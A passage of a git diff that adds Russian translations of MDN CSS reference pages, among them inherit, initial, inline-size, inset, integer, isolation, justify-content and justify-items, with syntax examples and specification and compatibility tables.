+                             "cat-2x.png" 2x,
+                             "cat-print.png" 600dpi);
+ +

Этот пример демонстрирует использование image-set() для обеспечения двух альтернативных {{cssxref("background-image")}} свойств, из которых будет выбрано более подходящее по разрешению: обычная версия и версия с высоким разрешением.

+ +

Вопросы доступности

+ +

Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своем присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать ее семантически в документе.

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Images', '#image-set-notation', 'The image-set() notation')}}{{Spec2('CSS4 Images')}} 
+ +

Поддержка браузерами

+ + + +

{{Compat("css.types.image.image-set")}}

+ +

Смотрите также

+ +
    +
  • {{cssxref("image")}}
    • +
  • {{cssxref("_image", "image()")}}
    • +
  • {{cssxref("element")}}
    • +
  • {{cssxref("url")}}
    • +
  • {{cssxref("<gradient>")}}
    • +
  • {{cssxref("cross-fade")}}
    • +
diff --git a/files/ru/web/css/index.html b/files/ru/web/css/index.html new file mode 100644 index 0000000000..128ae1fda3 --- /dev/null +++ b/files/ru/web/css/index.html @@ -0,0 +1,73 @@ +--- +title: CSS +slug: Web/CSS +tags: + - CSS + - Landing + - Layout + - Learning + - Reference + - Référence(2) + - Верстка + - Главная + - Дизайн + - Справка + - Стиль +translation_of: Web/CSS +--- +
{{CSSRef}}
+ +

Cascading Style Sheets (CSS) — это язык иерархических правил (таблиц стилей), используемый для представления внешнего вида документа, написанного на HTML или XML (включая различные языки XML, такие как SVG и XHTML). CSS описывает, каким образом элемент должен отображаться на экране, на бумаге, голосом или с использованием других медиа средств.

+ +

CSS является одним из основных языков свободной веб-разработки, который стандартизован спецификацией W3C. Стандарт CSS делится на уровни: CSS1 в настоящее время устарел, CSS2.1 — рекомендован для применения, а CSS3, разбитый на более мелкие модули, развивается на пути стандартизации.

+ +
+
    +
  • Справочник по CSS + +

    Исчерпывающий справочник для опытных веб-разработчиков, описывающий каждое свойство и понятие CSS.

    +
    • +
  • Самоучитель по CSS +

    Пошаговое руководство для помощи начинающим программистам CSS. Содержит все необходимые основы.

    +
    • +
  • Примеры CSS3 +

    Набор примеров представляющий новейшие технологии CSS в действии: толчок к креативности.

    +
    • +
+ +
+
+

Документация и самоучители

+ +
+
Ключевые понятия CSS
+
Описание синтаксиса и внешнего вида языка и введение в фундаментальные понятия такие как специфичность, наследование(каскадирование), блочная модель(box-model) и схлопывание отступов(margin-collapse), наложение и контекст форматирования(Block formatting context), начальное(initial), вычисленное(computed), используемое(used) и актуальное(actual) значения. Кроме того, описана краткая форма записи свойств CSS.
+
+ +
+
Руководство разработчика CSS
+
Статьи, которые помогут вам узнать все: начиная от основ организации стилей в HTML, заканчивая различными методами языка CSS, чтобы сделать свой контент сияющим.
+
Распространённые вопросы по CSS
+
Ответы на часто возникающие вопросы о CSS.
+
+
+ +

Инструменты для разработки CSS

+ +
    +
  • Служба проверки W3C CSS проверяет правильность работы вашего CSS кода. Служба OnlineWebCheck.com делает то же самое. Это отличные инструменты для отладки.
    • +
  • Инструменты разработчика Firefox позволяют рассматривать и изменять "на лету" CSS страницы с помощью инструментов Инспектор и Редактор таблиц стилей.
    • +
  • Расширение Firebug для Firefox, популярное расширение для этого браузера, которое также позволяет редактировать "на лету" CSS код при просмотре сайтов. Помогает легко тестировать работу кода при внесении различных изменений. Помимо этого, расширение имеет другие полезные функции.
    • +
  • Расширение Web Developer для Firefox позволяет отслеживать и изменять "на лету" CSS код на просматриваемых сайтах. Проще чем Firebug, но обладает меньшим функционалом.
    • +
  • Прочие инструменты CSS.
    • +
+
+ + + + +
diff --git a/files/ru/web/css/inherit/index.html b/files/ru/web/css/inherit/index.html new file mode 100644 index 0000000000..5304dc4d9d --- /dev/null +++ b/files/ru/web/css/inherit/index.html @@ -0,0 +1,87 @@ +--- +title: inherit +slug: Web/CSS/inherit +tags: + - CSS + - CSS Cascade + - CSS Value + - Cascade + - Inheritance + - Layout + - Reference + - Style + - inherit + - Справка +translation_of: Web/CSS/inherit +--- +
{{CSSRef}}
+ +

Ключевое слово inherit (CSS) вынуждает элемент использовать вычисленное значение аналогичного свойства родительского элемента. Это может быть применено к любому свойству CSS, включая CSS свойство {{cssxref("all")}}.

+ +

Для наследуемых свойств, это усиливает поведение по умолчанию и требуется только для переопределения другого правила. Для ненаследуемых свойств, это указывает на поведение, которое обычно имеет относительно мало смысла, и вы можете рассмотреть возможность использовать вместо него {{cssxref("initial")}} или {{cssxref("unset")}} со свойством {{cssxref("all")}}.

+ +

Наследование происходит всегда от родительского элемента в дереве документов, даже если родительский элемент не является содержащим блоком.

+ +

Пример

+ +
/* Делает заголовки второго уровня зелеными */
+h2 { color: green; }
+
+/* ...но не делает зелеными элементы боковой панели, которые используют цвет своего родителя */
+#sidebar h2 { color: inherit; }
+
+ +

В этом примере элементы h2 внутри боковой панели могут быть разных цветов. Например, если один из них был дочерним элементом div, соответствующим правилу ...

+ +

+div#current { color: blue; }
+
+ +

... он был бы синим.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{ SpecName('CSS4 Cascade', '#inherit', 'inherit') }}{{Spec2('CSS4 Cascade')}}Нет изменений с уровня 3.
{{ SpecName('CSS3 Values', "#common-keywords", "inherit") }}{{ Spec2('CSS3 Values') }}Никаких существенных изменений с {{ SpecName('CSS2.1') }}.
{{ SpecName('CSS2.1', "cascade.html#value-def-inherit", "inherit") }}{{ Spec2('CSS2.1') }}Начальное определение.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("css.types.global_keywords.inherit")}}

+
+ +

Смотрите также

+ +
    +
  • Наследование
    • +
  • Используйте {{cssxref("initial")}}, чтобы установить свойство в его начальное значение.
    • +
  • Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.
    • +
  • Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).
    • +
  • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.
    • +
diff --git a/files/ru/web/css/inheritance/index.html b/files/ru/web/css/inheritance/index.html new file mode 100644 index 0000000000..210b467c6d --- /dev/null +++ b/files/ru/web/css/inheritance/index.html @@ -0,0 +1,48 @@ +--- +title: Наследование +slug: Web/CSS/inheritance +translation_of: Web/CSS/inheritance +--- +

Описание

+ +

Описание каждого CSS свойства говорит наследуется ли оно по-умолчанию ("Наследуется: да/нет"). Наследование контролирует, что происходит, если значение свойства элемента не определено.

+ +

Наследуемые свойства

+ +

Когда никакого значения для свойства, которое наследуется,  у элемента не установлено, элемент получает вычисленное значение этого свойства от его родителя. Только корневой элемент документа получает начальное значение из описания свойства.

+ +

Типичный пример наследуемого свойства {{ Cssxref("color") }}. Стили:

+ +
p { color: green }
+ +

и разметка:

+ +
<p>В этом параграфе <em>подчёркнутый текст</em>.</p>
+ +

слова "подчёркнутый текст" станут зелёными, т.к. тег em унаследовал значение свойства {{ Cssxref("color") }} от элемента p, а не получают начальное значение свойства (цвет, который используется для корневого элемента, когда страница не определяет цвет).

+ +

Ненаследуемые свойства

+ +

Когда значения свойства элемента, которое не наследуется, не указано(иногда называемое Mozilla - сброшенное свойство), элемент получает начальное значение этого свойства (как указано в описании свойства).

+ +

Пример ненаследуемого свойства {{ Cssxref("border") }}. Стили:

+ +
 p { border: medium solid }
+ +

и разметка:

+ +
  <p>В этом параграфе <em>подчёркнутый текст</em>.</p>
+ +

у слов "подчёркнутый текст" не будет рамки (т.к. начальное значение {{ Cssxref("border-style") }}:none).

+ +

Замечание

+ +

Ключевое слово {{ Cssxref("inherit") }} позволяет нам явно задать наследование. Это работает и на наследуемых, и на ненаследуемых свойствах.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/initial/index.html b/files/ru/web/css/initial/index.html new file mode 100644 index 0000000000..e4f1e9c456 --- /dev/null +++ b/files/ru/web/css/initial/index.html @@ -0,0 +1,83 @@ +--- +title: initial +slug: Web/CSS/initial +tags: + - CSS + - CSS Cascade + - CSS Value + - Default state + - Initial state + - Layout + - Reference + - initial + - Справка +translation_of: Web/CSS/initial +--- +
{{CSSRef}}
+ +

Ключевое слово initial (CSS) устанавливает свойство элемента в начальное (или по умолчанию) значение. Это может быть применимо к любому свойству CSS. Это относится также к CSS свойству {{cssxref("all")}}, с которым initial может быть использовано для восcтановления всех CSS свойств до их начальных значений.

+ +
+

Примечание: На наследуемые свойства действие значения initial может быть непредвиденным. Вы должны рассмотреть возможность использования ключевых слов {{cssxref("inherit")}}, {{cssxref("unset")}} или {{cssxref("revert")}} вместо него.

+
+ +

Пример

+ +

HTML

+ +
<p>
+  <span>This text is red.</span>
+  <em>This text is in the initial color (typically black).</em>
+  <span>This is red again.</span>
+</p>
+ +

CSS

+ +
p {
+  color: red;
+}
+
+em {
+  color: initial;
+}
+ +

{{EmbedLiveSample('Example')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Cascade', '#initial', 'initial') }}{{Spec2('CSS4 Cascade')}}Нет изменений с уровня 3.
{{ SpecName('CSS3 Cascade', '#initial', 'initial') }}{{Spec2('CSS3 Cascade')}}Начальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.types.global_keywords.initial")}}

+ +

Смотрите также

+ +
    +
  • Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.
    • +
  • Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).
    • +
  • Используйте свойство {{cssxref("inherit")}}, чтобы установить свойство элемента таким же значением, как у его родителя.
    • +
  • Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.
    • +
diff --git a/files/ru/web/css/initial_value/index.html b/files/ru/web/css/initial_value/index.html new file mode 100644 index 0000000000..0fee2e018f --- /dev/null +++ b/files/ru/web/css/initial_value/index.html @@ -0,0 +1,22 @@ +--- +title: Начальное значение +slug: Web/CSS/initial_value +translation_of: Web/CSS/initial_value +--- +

Описание

+ +

Начальное значение, данное в кратком описании каждого CSS свойства имеет различное значение для наследуемых и не наследуемых свойств.

+ +

Для наследуемых, начальное значение установлено только для корневого элемента, если не указано никакого значения для элемента.

+ +

Для ненаследуемых свойств используется начальное значение для любого элемента, даже когда значение для элемента не указано.

+ +

Ключевое слово initial добавлено в CSS3, чтобы предоставить авторам возможность явно указывать это первоначальное значение.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/inline-size/index.html b/files/ru/web/css/inline-size/index.html new file mode 100644 index 0000000000..69829347df --- /dev/null +++ b/files/ru/web/css/inline-size/index.html @@ -0,0 +1,100 @@ +--- +title: inline-size +slug: Web/CSS/inline-size +translation_of: Web/CSS/inline-size +--- +
{{CSSRef}}
+ +

Свойство CSS inline-size определяет горизонтальные или вертикальные размеры блока в зависимости от режима написания (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от свойства {{cssxref("writing-mode")}}.

+ +
{{EmbedInteractiveExample("pages/css/inline-size.html")}}
+ + + +

Syntax

+ +
/* <length> values */
+inline-size: 300px;
+inline-size: 25em;
+
+/* <percentage> values */
+inline-size: 75%;
+
+/* Keyword values */
+inline-size: max-content;
+inline-size: min-content;
+inline-size: fit-content(20em);
+inline-size: auto;
+
+/* Global values */
+inline-size: inherit;
+inline-size: initial;
+inline-size: unset;
+
+ +

Если режим написания (writing mode) — вертикальный, значение inline-size относится к высоте элемента; в противном случае, оно относиться к ширине элемента. Связанное свойство — {{cssxref("block-size")}}, которое определяет другие размеры элемента.

+ +

Значения

+ +

Свойство inline-size принимает те же значения, что и свойства {{cssxref("width")}} и {{cssxref("height")}}.

+ +

Formal definition

+ +

{{cssinfo}}

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

Setting inline size in pixels

+ +

HTML

+ +
<p class="exampleText">Example text</p>
+
+ +

CSS

+ +
.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  inline-size: 110px;
+}
+ +

Result

+ +

{{EmbedLiveSample("Setting_inline_size_in_pixels")}}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Logical Properties", "#propdef-inline-size", "inline-size")}}{{Spec2("CSS Logical Properties")}}Initial definition
+ +

Browser compatibility 

+ + + +

{{Compat("css.properties.inline-size")}}

+ +

See also

+ +
    +
  • The mapped physical properties: {{cssxref("width")}} and {{cssxref("height")}}
    • +
  • {{cssxref("writing-mode")}}
    • +
diff --git a/files/ru/web/css/inset/index.html b/files/ru/web/css/inset/index.html new file mode 100644 index 0000000000..a6d25722ca --- /dev/null +++ b/files/ru/web/css/inset/index.html @@ -0,0 +1,98 @@ +--- +title: inset +slug: Web/CSS/inset +tags: + - смещение элемента +translation_of: Web/CSS/inset +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Свойство CSS inset определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам  {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определенных для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.

+ +
/* <length> значения */
+inset: 3px 10px 3px 10px;
+inset: 2.4em 3em 3em 3em;
+inset: 10px; /* значение применяется ко всем сторонам */
+
+/* <percentage> от ширины или высоты внешнего блока */
+inset: 10% 5% 5% 5%;
+
+/* Ключевое значение */
+inset: auto;
+
+/* Глобальные значения */
+inset: inherit;
+inset: initial;
+inset: unset;
+
+
+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Значения

+ +

Свойство inset принимает значения, аналогичные значениям свойства {{cssxref("left")}}.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML-содержимое

+ +
<div>
+  <p class="exampleText">Example text</p>
+</div>
+
+ +

CSS-содержимое

+ +
div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset: 20px 50px 30px 10px;
+  background-color: #c8c800;
+}
+ +

{{EmbedLiveSample("Example", 140, 140)}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS Logical Properties", "#propdef-inset", "inset")}}{{Spec2("CSS Logical Properties")}}Первое определение
+ +

Поддержка браузера

+ + + +

{{Compat("css.properties.inset")}}

+ +

Смотрите также

+ +
    +
  • Сопоставление физических свойств: {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, and {{cssxref("left")}}
    • +
  • {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}
    • +
diff --git a/files/ru/web/css/integer/index.html b/files/ru/web/css/integer/index.html new file mode 100644 index 0000000000..a1f11a3a46 --- /dev/null +++ b/files/ru/web/css/integer/index.html @@ -0,0 +1,127 @@ +--- +title: +slug: Web/CSS/integer +translation_of: Web/CSS/integer +--- +
{{CSSRef}}
+ +

<integer> - тип хранения данных в CSS - является частным случаем типа {{cssxref("number")}}, который представляет целые числа: как положительное, так и отрицательное. Целые числа могу быть использованы в свойствах CSS , таких как {{cssxref("column-count")}}, {{cssxref("counter-increment")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, и {{cssxref("z-index")}}.

+ +

Синтаксис

+ +

Тип данных <integer> состоит из одного или нескольких дробных цифр, от 0 до 9 включительно, символы + и - необязательны. Не существует единицы измерения, связанной с целочисленным типом данных.

+ +
Запомните: Не существует оффициального диапазона значений типа <integer>. Opera 12.1 поддерживает значения до 215-1, IE - до 220-1, а остальные браузеры даже выше. На протяжении существования значений CSS3 было проведено не большое количество обсуждений об установлении минимального ренжа: последнее решение, в апреле 2012 напротяжении фазы LC, было [-227-1; 227-1], но остальные значения, такие как 224-1 и 230-1, также были предложены. Однако, самая свежая на данный момент спецификация более не указывает на область определения этого типа данных.
+ +

Интерполяция

+ +

Во время анимации значения типа <integer> интерполированы используя особые меры. Вычисление будет завершено, если они были целочисленными или с плавающей точкой; отдельное значение получается, используя Целую часть. Скорость интерполяции определена timing function, связанной с анимацией.

+ +

Примеры

+ +

Корректные значения целочисленного типа данных

+ +
12          Положительное целое число (без предшествующего знака +)
++123        Положительное целое число (С предшествующим знаком +)
+-456        Отрицательное целое число
+0           Нуль
++0          Нуль, с предшествующим +
+-0          Нуль, с предшествующим -
+
+ +

Некорректные значения целочисленного типа данных

+ +
12.0        Это <number>, а не <integer>, хоть и представляется как целое число.
+12.         "Дробные" точки запрещены.
++---12      Разрешен только один предшествующий символ +/-.
+десять      Буквы запрещены.
+_5          Специальные знаки запрещены.
+\35         Экранированные символы Юникода запрещены, даже если они являются целым числом (здесь: 5).
+\4E94       Разрешены только арабские цифры, даже в случае, если они экранированны (здесь: японское число 5, 五).
+3e4         Научные обозначения запрещены.
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Values', '#integers', '<integer>')}}{{Spec2('CSS3 Values')}}Нет значительных изменений.
{{SpecName('CSS2.1', 'syndata.html#numbers', '<integer>')}}{{Spec2('CSS2.1')}}Явное определение.
{{SpecName('CSS1', '', '<integer>')}}{{Spec2('CSS1')}}Неявное определение.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{CompatGeckoDesktop("1.0")}}3.0{{CompatVersionUnknown}}1.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ОбобенностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ +
    +
  • {{cssxref("<number>")}}
    • +
diff --git a/files/ru/web/css/isolation/index.html b/files/ru/web/css/isolation/index.html new file mode 100644 index 0000000000..94f536220c --- /dev/null +++ b/files/ru/web/css/isolation/index.html @@ -0,0 +1,114 @@ +--- +title: isolation +slug: Web/CSS/isolation +tags: + - Контекст наложения + - Очередность + - Порядок отрисовки +translation_of: Web/CSS/isolation +--- +
{{CSSRef}}
+ +

CSS-свойство isolation определяет должен ли элемент создавать новый контекст наложения {{glossary("stacking context")}}.

+ +
{{EmbedInteractiveExample("pages/css/isolation.html")}}
+ + + +

Это свойство особенно полезно при использовании совместно с {{cssxref("background-blend-mode")}}.

+ +

Синтаксис

+ +
/* Значения ключевого слова */
+isolation: auto;
+isolation: isolate;
+
+/* Глобальные значения */
+isolation: inherit;
+isolation: initial;
+isolation: unset;
+
+ +

Свойство isolation указывается в качестве значения одного из нижеследующих ключевых слов.

+ +

Значения

+ +
+
auto
+
Новый контекст наложения создается только в том случае, если это требуется для одного из свойств, применяемых к элементу.
+
isolate
+
Новый контекст наложения должен быть создан.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
<div id="b" class="a">
+  <div id="d">
+    <div class="a c">auto</div>
+  </div>
+  <div id="e">
+    <div class="a c">isolate</div>
+  </div>
+</div>
+
+ +
.a {
+  background-color: rgb(0,255,0);
+}
+#b {
+  width: 200px;
+  height: 210px;
+}
+.c {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+  padding: 2px;
+  mix-blend-mode: difference;
+}
+#d {
+  isolation: auto;
+}
+#e {
+  isolation: isolate;
+}
+ +

{{ EmbedLiveSample('Examples', 230, 230) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('Compositing', '#isolation', 'Isolation') }}{{ Spec2('Compositing') }}Первое определение
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.isolation")}}

+ +

Смотрите также

+ +
    +
  • {{cssxref("<blend-mode>")}}
    • +
  • {{cssxref("mix-blend-mode")}}, {{cssxref("background-blend-mode")}}
    • +
diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html new file mode 100644 index 0000000000..7c9d323e17 --- /dev/null +++ b/files/ru/web/css/justify-content/index.html @@ -0,0 +1,206 @@ +--- +title: justify-content +slug: Web/CSS/justify-content +tags: + - CSS + - justify-content +translation_of: Web/CSS/justify-content +--- +
{{CSSRef}}
+ +

CSS свойство  justify-content определяет, как браузер распределяет пространство между и вокруг элементов контента вдоль {{Glossary("Main Axis", "главной оси")}} flex контейнера, или вдоль строчной оси grid контейнера.

+ +

Интерактивный пример ниже демонстрирует некоторые значения, используя Grid размещение.

+ +

{{EmbedInteractiveExample("pages/css/justify-content.html")}}

+ +

Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во Flexbox разметке есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от 0, эффект не будет применен, потому что не останется свободного места.

+ +

Синтаксис

+ +
/* Позиционное выравнивание */
+justify-content: center;     /* Выравнивание элементов по центру */
+justify-content: start;      /* Выравнивание элементов в начале */
+justify-content: end;        /* Выравнивание элементов в конце */
+justify-content: flex-start; /* Выравнивание флекс-элементов с начала */
+justify-content: flex-end;   /* Выравнивание флекс-элементов с конца */
+justify-content: left;       /* Выравнивание элементов по левому краю */
+justify-content: right;      /* Выравнивание элементов по правому краю */
+
+/* Выравнивание относительно осевой линии */
+justify-content: baseline;
+justify-content: first baseline;
+justify-content: last baseline;
+
+/* Распределенное выравнивание */
+justify-content: space-between; /* Равномерно распределяет все элементы по ширине flex-блока.
+                                   Первый элемент вначале, последний в конце */
+justify-content: space-around;  /* Равномерно распределяет все элементы по ширине flex-блока.
+                                   Все элементы имеют полуразмерное пространство
+
+                                   с обоих концов */
+justify-content: space-evenly;  /* Равномерно распределяет все элементы по ширине flex-блока.
+                                   Все элементы имеют равное пространство вокруг */
+justify-content: stretch;       /* Равномерно распределяет все элементы по ширине flex-блока.
+                                   Все элементы имеют "авто-размер", чтобы соответствовать
+
+                                   контейнеру */
+
+/* Выравнивание при переполнении */
+justify-content: safe center;
+justify-content: unsafe center;
+
+/* Глобальные значения */
+justify-content: inherit;
+justify-content: initial;
+justify-content: unset;
+
+ +

Значения

+ +
+
start
+
Элементы располагаются друг за другом и прижимаются к началу контейнера по главной оси.
+
end
+
Элементы располагаются друг за другом и прижимаются к концу контейнера по главной оси.
+
flex-start
+
Элементы располагаются друг за другом и прижимаются к началу контейнера по главной оси, в зависимости от её направления (flex-direction). Для элементов, которые не являются дочерними элементами flex контейнера, это значение обрабатывается как start.
+
flex-end
+
Элементы располагаются друг за другом и прижимаются к концу контейнера по главной оси, в зависимости от её направления (flex-direction). Для элементов, которые не являются дочерними элементами flex контейнера, это значение обрабатывается как end.
+
center
+
Элементы располагаются друг за другом в центре контейнера по главной оси.
+
left
+
Элементы располагаются друг за другом и прижимаются к левому краю контейнера по главной оси. Если главная ось не горизонтальна, это значение работает как  start.
+
right
+
Элементы располагаются друг за другом и прижимаются к правому краю контейнера по главной оси. Если главная ось не горизонтальна, это значение работает как  start.
+
normal
+
Элементы располагаются на свох обычных позициях, так как будто свойство justify-content не задано. Этот параметр ведет себя как stretch в grid и flex контейнерах.
+
baseline
+ first baseline
+ last baseline
+
Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.
+ The fallback alignment for first baseline is start, the one for last baseline is end.
+
space-between
+
Элементы равномерно распределены вдоль главной оси контейнера. Расстояния между каждой парой соседних элементов равны. Первый элемент прижат к началу контейнера по главной оси, а последний - к концу.
+
space-around
+
Элементы равномерно распределены вдоль главной оси контейнера. Расстояния между каждой парой соседних элементов равны. Пустые пространства перед первым элементом и после последнего элемента равны половине расстояния между парами соседних элементов.
+
space-evenly
+
Элементы равномерно распределены вдоль главной оси контейнера. Расстояния между каждой парой соседних элементов равны расстояниям от начала контейнера до первого элемента и от последнего элемента до конца контейнера.
+
stretch
+
If the combined size of the items is less than the size of the alignment container, any auto-sized items have their size increased equally (not proportionally), while still respecting the constraints imposed by {{cssxref("max-height")}}/{{cssxref("max-width")}} (or equivalent functionality), so that the combined size exactly fills the alignment container along the main axis.
+
+ +
+

Примечание: stretch не поддерживается гибкими контейнерами (flexbox).

+
+ +
+
safe
+
If the size of the item overflows the alignment container, the item is instead aligned as if the alignment mode were start.
+
unsafe
+
Regardless of the relative sizes of the item and alignment container, the given alignment value is honored.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

CSS

+ +
#container {
+  display: flex;
+  justify-content: space-between; /* Может быть изменено */
+}
+
+#container > div {
+  width: 100px;
+  height: 100px;
+  background: linear-gradient(-45deg, #788cff, #b4c8ff);
+}
+
+ + + +

Результат

+ +

{{EmbedLiveSample("Пример", "100%", 140)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Box Alignment', '#propdef-justify-content', 'justify-content')}}{{Spec2('CSS3 Box Alignment')}}Adds the [ first | last ]? baseline, self-start, self-end, start, end, left, right, space-evenly, unsafe | safe values.
{{SpecName('CSS3 Flexbox', '#propdef-justify-content', 'justify-content')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ +

Поддержка в Flex разметке

+ +

{{Compat("css.properties.justify-content.flex_context")}}

+ +

Поддержка в Grid разметке

+ +

{{Compat("css.properties.justify-content.grid_context")}}

+ +

 Смотрите также

+ + diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html new file mode 100644 index 0000000000..23d4c75099 --- /dev/null +++ b/files/ru/web/css/justify-items/index.html @@ -0,0 +1,171 @@ +--- +title: Атрибут justify-items +slug: Web/CSS/justify-items +tags: + - CSS + - CSS атрибут + - CSS выравнивание блоков + - Ссылки +translation_of: Web/CSS/justify-items +--- +
+
{{CSSRef}}
+ +

Атрибут CSS justify-items определяет атрибут по умолчанию {{CSSxRef ("justify-self")}} для всех элементов блока, предоставляя всем им способ выравнивания по умолчанию каждого блока вдоль соответствующей оси.

+ +
{{EmbedInteractiveExample("pages/css/justify-items.html")}}
+ + + +

Эффект этого атрибута зависит от выбранного способа разметки:

+ +
    +
  • Используя разметку с помощью блоков (block-level layout), элементы выравниваются внутри содержащего их блока по внутренней оси.
    • +
  • Для абсолютно позиционированых элементов выравнивание происходит внутри содержащего их блока по внутренней оси, учитывая значения смещения сверху, слева, снизу и справа.
    • +
  • Используя разметку с помощью ячеек таблицы (table cell layout), этот атрибут игнорируется (подробнее о выравнивании в блочной структуре, абсолютном позиционировании и о табличной разметке).
    • +
  • Используя разметку с помощью гибких или адаптивных блоков (flexbox layout), этот атрибут игнорируется (подробнее о выравнивании в разметке flexbox).
    • +
  • Используя разметку с помощью сетки (grid layout), элементы выравниваются внутри их сеточной области по внутренней оси (подробнее о выравнивании в разметке grid).
    • +
+ +

Синтаксис

+ +
/* Основные ключевые слова */
+justify-items: auto;
+justify-items: normal;
+justify-items: stretch;
+
+/* Выравнивание положения */
+justify-items: center;     /* Выровнять элементы по центру */
+justify-items: start;      /* Выровнять элементы в начале */
+justify-items: end;        /* Выровнять элементы в конце */
+justify-items: flex-start; /* Эквивалентно 'start'. Обратите внимание, что justify-items игнорируется в разметке Flexbox. */
+justify-items: flex-end;   /* Эквивалентно 'end'. Обратите внимание, что justify-items игнорируется в разметке Flexbox. */
+justify-items: self-start;
+justify-items: self-end;
+justify-items: left;       /* Выровнять элементы по левому краю */
+justify-items: right;      /* Выровнять элементы по правому краю */
+
+/* Исходное выравнивание */
+justify-items: baseline;
+justify-items: first baseline;
+justify-items: last baseline;
+
+/* Выравнивание при переполнении (только для выравнивания положения) */
+justify-items: safe center;
+justify-items: unsafe center;
+
+/* Унаследованное выравнивание */
+justify-items: legacy right;
+justify-items: legacy left;
+justify-items: legacy center;
+
+/* Глобальные значения */
+justify-items: inherit;
+justify-items: initial;
+justify-items: unset;
+
+ +

Этот атрибут может принимать одну из четырех различных форм:

+ +
    +
  • Основные ключевые слова: одно из значений ключевого слова: normal, auto, или stretch.
    • +
  • Исходное выравнивание: ключевое слово baseline  плюс одно ключевое слово по выбору: first или last.
    • +
  • Выравнивание положения: одно из ключевых слов: center, start, end, flex-start, flex-end, self-start, self-end, left, или right. Плюс ключевое слово по выбору: safe или unsafe.
    • +
  • Унаследованное выравнивание: ключевое слово legacy, за которым следует ключевое слово left или right.
    • +
+ +

Значения

+ +
+
auto
+
Используемое значение является значением атрибута justify-items родительского блока. Если у блока нет родительского элемента или он абсолютно спозиционирован, то в этих случаях значение auto представляет собой значение normal.
+
normal
+
Эффект этого атрибута зависит от выбранного способа разметки: +
    +
  • Используя разметку с помощью блоков (block-level layout), это ключевое слово является синонимом слова start
    • +
  • Для разметки с абсолютно позиционнированными элементами, это ключевое слово ведет себя как start на замененных блоках с абсолютным позиционированием и как stretch на всех остальных блоках с абсолютным позиционированием
    • +
  • Используя разметку с помощью ячеек таблицы (table cell layout), это ключевое слово не имеет значения, так как этот атрибут игнорируется
    • +
